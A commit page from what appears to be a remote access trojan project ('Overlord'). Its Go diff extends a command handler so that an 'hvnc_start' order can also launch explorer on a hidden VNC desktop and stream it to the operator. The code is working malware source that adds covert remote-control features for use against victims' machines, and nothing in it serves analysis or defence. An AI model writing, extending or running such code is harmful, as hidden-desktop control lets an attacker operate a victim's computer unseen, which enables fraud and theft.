add auto start explorer
This commit is contained in:
@@ -785,6 +785,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
|
||||
// ==================== HVNC COMMANDS ====================
|
||||
case "hvnc_start":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
autoStartExplorer := false
|
||||
if payload != nil {
|
||||
if v, ok := payload["autoStartExplorer"].(bool); ok {
|
||||
autoStartExplorer = v
|
||||
}
|
||||
}
|
||||
env.HVNCMu.Lock()
|
||||
if env.HVNCCancel != nil {
|
||||
env.HVNCCancel()
|
||||
@@ -795,8 +802,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
done := make(chan struct{})
|
||||
env.HVNCDone = done
|
||||
goSafe("hvnc stream", env.Cancel, func() {
|
||||
log.Printf("hvnc: start requested")
|
||||
_ = HVNCStart(hvncCtx, env)
|
||||
log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||
_ = HVNCStart(hvncCtx, env, autoStartExplorer)
|
||||
close(done)
|
||||
})
|
||||
env.HVNCMu.Unlock()
|
||||
|
||||
@@ -26,7 +26,7 @@ func GetPersistedHVNCDisplay() int {
|
||||
return hvncPersistedDisplayValue
|
||||
}
|
||||
|
||||
func HVNCStart(ctx context.Context, env *rt.Env) error {
|
||||
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
||||
@@ -36,6 +36,14 @@ func HVNCStart(ctx context.Context, env *rt.Env) error {
|
||||
return err
|
||||
}
|
||||
|
||||
if autoStartExplorer {
|
||||
go func() {
|
||||
if err := capture.HVNCAutoStartExplorer(); err != nil {
|
||||
log.Printf("hvnc: auto-start explorer error: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
|
||||
Reference in New Issue
Block a user